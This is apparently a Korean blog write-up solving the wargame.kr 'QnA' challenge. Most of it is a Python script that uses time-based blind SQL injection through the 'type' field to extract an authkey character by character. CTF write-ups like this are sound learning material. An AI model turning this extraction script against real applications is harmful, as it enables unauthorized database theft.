반응형
QnA
Time based SQLi challenge. (with Insert Query)
you can't see the result after insert query.
but you can SQLi Attack!
time based sqli를 사용해야하나 보다
to JSMater에서 type에서 sqli이 일어난다.
lonely guys에서 사용했던 스크립트 거의 그대로 사용하면 된다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 | import urllib import urllib2 import sys import time string = "0123456789abcdefghijklmnopqrstuvwxyz" key = "" def chk(payload): url = "http://wargame.kr:8080/qna/?page=to_jsmaster" opener = urllib2.build_opener(urllib2.HTTPHandler) data = {"cont": "a", "mail": "guest", "type": payload} data = urllib.urlencode(data) request = urllib2.Request(url, data) request.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36') data = opener.open(request) data = data.read() print(payload) #print data return data for i in range(40): for j in range(len(string)): payload = "if("+str(ord(string[j]))+"=ord((select substr(authkey,"+str(i+1)+",1) from authkey)),sleep(1),1)" start = time.time() chk(payload) end= time.time()-start if end > 1: key += string[j] print "[*] Find Password!! Password is ["+key+"] " break else: print "[-] Fail!" | cs |
반응형
'WAR GAME > wargame.kr' 카테고리의 다른 글
Wargame.kr [CustomOS] (0) | 2020.01.09 |
---|---|
Wargame.kr [DLL with notepad] 풀이 (0) | 2020.01.08 |
Wargame.kr [dmbs335] 풀이 (0) | 2020.01.06 |
Wargame.kr [Crypto Crackme Basic] 풀이 (0) | 2020.01.06 |
Wargame.kr [crack crack crack it] 풀이 (0) | 2020.01.06 |